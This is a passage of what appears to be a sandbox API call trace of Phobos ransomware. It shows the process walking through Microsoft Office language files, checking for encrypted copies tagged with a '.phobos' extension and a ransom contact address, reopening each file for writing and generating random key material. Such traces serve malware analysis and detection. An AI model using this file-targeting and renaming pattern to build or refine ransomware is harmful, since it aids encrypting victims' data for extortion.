Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.870] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.870] CloseHandle (hObject=0x254) returned 1 [0154.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk")) returned 0x220 [0154.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.870] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.871] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.871] CloseHandle (hObject=0x254) returned 1 [0154.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk")) returned 0x220 [0154.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.871] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sgres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.872] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=71264) returned 1 [0154.872] CloseHandle (hObject=0x254) returned 1 [0154.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sgres.dll")) returned 0x220 [0154.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SGRES.DLL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sgres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.873] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.873] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=50360) returned 1 [0154.873] CloseHandle (hObject=0x254) returned 1 [0154.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl")) returned 0x220 [0154.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.874] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.874] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=126940) returned 1 [0154.874] CloseHandle (hObject=0x254) returned 1 [0154.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs")) returned 0x220 [0154.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.875] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.875] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=125474) returned 1 [0154.875] CloseHandle (hObject=0x254) returned 1 [0154.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs")) returned 0x220 [0154.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.875] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.876] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=661) returned 1 [0154.876] CloseHandle (hObject=0x254) returned 1 [0154.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc")) returned 0x220 [0154.876] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.876] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.876] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=213) returned 1 [0154.877] CloseHandle (hObject=0x254) returned 1 [0154.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt")) returned 0x220 [0154.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.877] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.877] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.877] CloseHandle (hObject=0x254) returned 1 [0154.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk")) returned 0x220 [0154.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.877] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.878] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.878] CloseHandle (hObject=0x254) returned 1 [0154.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk")) returned 0x220 [0154.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_BASIC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_basic_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.878] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.879] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=631) returned 1 [0154.879] CloseHandle (hObject=0x254) returned 1 [0154.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc")) returned 0x220 [0154.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.879] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.880] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=207) returned 1 [0154.880] CloseHandle (hObject=0x254) returned 1 [0154.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt")) returned 0x220 [0154.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.880] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.881] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=114) returned 1 [0154.881] CloseHandle (hObject=0x254) returned 1 [0154.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk")) returned 0x220 [0154.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.881] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.882] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=113) returned 1 [0154.882] CloseHandle (hObject=0x254) returned 1 [0154.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk")) returned 0x220 [0154.882] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.882] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.883] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=124400) returned 1 [0154.883] CloseHandle (hObject=0x254) returned 1 [0154.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs")) returned 0x220 [0154.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINE.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_online.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.884] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.884] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=128132) returned 1 [0154.884] CloseHandle (hObject=0x254) returned 1 [0154.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs")) returned 0x220 [0154.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.885] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0154.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\skypefb_onlineg_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.886] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=671) returned 1 [0154.886] CloseHandle (hObject=0x254) returned 1 [0154.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKYPEFB_ONLINEG_COL.HXC" (normalized: "c:\\program files\\microsoft 